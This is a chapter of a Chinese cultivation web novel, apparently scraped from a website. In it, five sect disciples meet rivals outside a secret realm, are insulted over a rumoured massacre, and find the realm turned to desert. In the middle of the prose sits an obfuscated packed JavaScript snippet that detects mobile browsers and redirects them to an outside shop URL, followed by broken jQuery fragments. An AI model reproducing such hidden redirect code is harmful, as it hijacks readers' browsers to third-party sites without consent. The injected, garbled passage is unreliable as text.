一个月后,东蓁秘境。
秘境所在之处的天象变化万千。云层叠着橙色的光芒,由蓝至粉,美轮美奂。
“确实好看。”林飒抬头望天,感慨道“渚师妹,你说我们提前到了秘境附近,要驻扎在这里等着开启吗?”
一旁的渚清回环顾四周,各路人马也都蓄势待发,低声道“低调一些,此处多是其他宗门的门徒。”
林飒好奇地打量着此处,扫视了一圈人群,有些眼熟,道“诶?渚师妹,你看那是谁?”
三位修士结伴而行,朝着林飒而来
“思危!”其中一人挥了挥手,一掌便往林飒肩膀招呼,林飒笑着躲开了。
“诶,没打到~”林飒耸了耸肩,晃了晃脑袋,笑着道“云扬,池晚,萧潺,你们也来啦!”
“是,师尊让我来此处碰些机缘。我们三人想着干脆一起来秘境,互相也有个照应。”云扬颔首道,行了个礼。
“上次一别,思危姐,你渡劫动静真大啊,还没来得及恭喜你啦”池晚捂着唇笑道,她头上的珠钗叮当作响。
渚清回眉头微微一皱,又很快抚平。
“你不也突破金丹了嘛,大家都同喜嘛”林飒爽朗笑道
池晚看了看四周,垮起脸忿忿道“不知道为什么,我和一些其他宗门的道友交流,刚报出太云门名号,那些人脸色就瞬间变得鄙视起来。”
林飒拍了拍池晚后背“消消气,消消气,我们出来是历练的。”
“还说什么小门小户,靠一些见不得人手段招些不干不净的,若不是她俩拦着我,我非和那些人理论不可!”池晚越说越气,挽起袖子
萧潺颔首“多一事不如少一事。”
云扬不赞同道“此言差矣,我问了才知,还是太云村屠杀无辜平民那件事。真是奇怪……我不相信我们宗会做出这种事。”
池晚插了一嘴“林子大了什么鸟都有,却要我们挨人白眼。那些长老也是,也不出来回应一下,惹得这些流言蜚语满天飞。”
萧潺斥道“晚晚慎言。”
“好了好了,先别吵了,这次宗门只来了我们五个。秘境险象环生,进去前一个时辰我们一起探路,后面各自去,每日入夜用符报个平安,你说呢,渚师妹?”林飒看着她们即将为这事吵起来,赶忙调停
渚清回没有否认,只是淡淡点了头。
“你们觉得呢?”林飒道
她们三人都没异议,林飒道“就这么说定了。那你们想要去找什么?”
池晚兴致勃勃道“最好是某位大能留下的秘境宝藏,我开玩笑的,我想要找一些灵兽。”
云扬想了想,道“特制符纸”
萧潺言简意赅“随缘”
林飒想了想“行啊,我若是看到了,会帮你们留意的。”
池晚刚想脱口而出“那你和渚,”她看了看渚清回一副生人勿近的样子,赶忙换了称呼“渚师姐呢?”
渚清回礼貌道“一些药材灵植。”
林飒拍了拍自己的小木剑“喏,我想给它一副更好的身体,它现在的身板,还是有点太脆了。”
小木剑晃了晃,毫不客气地拍了她一下。
萧潺颔首“理解,剑招千锤百炼,磨损严重,确实该换。”
*
天际风云突变,乌云笼罩。不远处闪烁着金光,一道五彩斑斓的结界便浮现在众人眼前。
在场的所有修士蓄势以待,其中一宗门为首的修士身着丝绸,衣袂猎猎,祭出剑,一副威严不容侵犯的样子。身旁有十几个人簇拥着,声势浩荡地开道,冲进去。
“不愧是第一剑宗万朝宗,来头不小。”池晚低声评价道
林飒感觉到浑厚的威压袭来,想来为首的修为不低。待他们进入后,才好奇道“来人都是金丹期吗?”
云扬点了点头,出声道“嗯,东蓁秘境只允许金丹期历练,境界太低是来送死,太高了秘境受不了。”
萧潺注视着前面的人,道“那些人,估计都是压制着金丹后期的境界,来秘境寻宝的。碰上了小心为上。”
林飒提议“那我们晚一些再进去吧。”
池晚“啊”了一声,道“机缘不会被人抢走吗?”
云扬无奈失笑“你不是说你开玩笑的?”
池晚笑着道“梦想总是要有的,万一见鬼了呢,行吧行吧。晚一点就晚一点吧。”
一番嬉笑,五人终于动身往秘境而去。林飒鬼使神差地往后看了一眼,只见渚清回不远不近地走在最后。
她是在断后?真是嘴硬心软。
林飒笑了一下,没说什么。正准备和众人一起进入秘境。
一身着羽衣华服的男修,对周围同行之人示意拦住了她们五人,他上下打量着林飒几人,嗤笑“不愧是破落宗门出来的破落户,就这样还要和我们一起进秘境。”
池晚气得牙痒“你什么意思!穿得和鸟雀一般,嘴上怎么没和鸟雀学学,鸟雀还比你爱干净些。”
林飒挡在池晚身前,认真道“这位,姑且算是道友,秘境不是你家吧。”
那男修挑了挑眉“你们宗门干了什么好事,心里不会没点数吧。我若是你们,一辈子待在宗门里没脸出来了。”
林飒抿了抿唇,深吸一口气,道“既如此,请你找出切实的证据,再来审判我们吧,我们走。”
云扬点了点头,和萧潺一起架着池晚离开,渚清回冷冷地瞥了一眼那男修,也没搭理他,几人快步往前。
*
等她们一行人到了秘境,眼前的景色却让人大跌眼镜:一望无际的黄沙滚滚朝前,龙卷风四处肆虐,别说宝物了,这里看起来连个活物都没有。可谓是黄沙过境,寸草不生。
“这是怎么回事?不是说东蓁秘境向来是和风细雨吗?”池晚揉了揉眼睛,不解。
云扬轻拂拂尘,将沙土用灵力浮在掌心,叹了一口气“看来是之前进来的人已经把这里搜刮得差不多了。”
“岂有此理!岂有此理!”池晚气得跺脚“这帮人是不是还设下了机关,不让别人寻宝。这样太霸道了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610971|205065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
渚清回眉头紧蹙,祭出银针探路。
林飒攥紧了拳头,又松了下来,心里百感交集,又是委屈,又是不爽,又是愤怒,朝着池晚道“池晚,你刚才,骂得真好。我也想骂,但可惜我不能。”
她想起师尊在出门前,给了保命的一缕神识,千叮咛万嘱咐,不要随意与山下其他宗门人士起言语冲突。不到性命之忧时,不得出手。
尤其是她,作为这一届的大师姐,若是碰上了下山历练,师伯几人的门徒池晚她们三人,务必克制,承担起大师姐的责任,小心行事。
萧潺单脚站在沙尘之中,仔细观察,手指一抬,捡起一片破碎的衣角,“也不尽然,许是秘境内部,市面之语,或是部分真相,或是谣言。”
渚清回看着几人士气略微低落,道“再找一找,毕竟是秘境。”
林飒用灵力感受此处的生机,金丹期的灵力,足够林飒去潜心感应几个山头的生机波动。
灵力顺着她的感应,在识海之中显示出几道曲折弯曲的小路。
纳戒之中的,沼泽精前辈所赠的奇怪小石头颤了颤,又恢复了原状。
她感觉到身后总有一双眼睛盯着,而再一转头,却没看见什么活动的生灵。
其他人也八仙过海,各显神通,一番施法下来,众人讨论排除了几个可能是陷阱的方位,找到了两个方位有磅礴的灵力。
林飒警惕道“你们觉得,这里有没有什么异常?”
池晚无奈摊了摊手“奇怪的事多了,已经让我觉得不奇怪了。见招拆招吧,实在不行就逃跑打道回府。反正活命重要。”
林飒一想也是,“也罢,我们就按刚才所说的,去探查秘境。诸事小心,记得在通讯符报个平安。”
云扬一拂拂尘,拂尘变大,拂柄折成站立姿态,而拂丝悬浮在空中,如同车架。她站在靠近柄处,施法驾驭。
池晚则轻车熟路地跳上去,找了一个松软又舒服的位置坐着。
萧潺则是凌波微步,轻功了得,能借着泥沙的微乎其微的支点,却不落入漩涡,在前方带路。
林飒吃惊地感慨着“萧潺,你的轻功也太厉害了!”
萧潺颔首“过奖,献丑了。”说罢三人朝着一个方向而去。
林飒则站在边缘之处,抚摸了一下木剑,又看着渚清回。渚清回唤出药篓,踏上后迟疑着道“你那小木剑……”
林飒无奈笑了笑,作了个揖“劳驾渚师妹载我一程。”
渚清回转身道“你,叫我什么?”
林飒脑筋转了好几圈,一时间没明白什么意思。
渚清回不说话,只是等着她。
一个灵光一闪,林飒想到了什么,试探着出声“渚师姐?”
渚清回淡淡地道“上来吧,林师妹。”
林飒一笑,乐不可支。
别看她表面是这样说的,然而心里却不是这么想的。
不过是师姐的称呼嘛,师妹就是师妹,像她这种真正的师姐,才不会在乎这句哄师妹玩的话呢。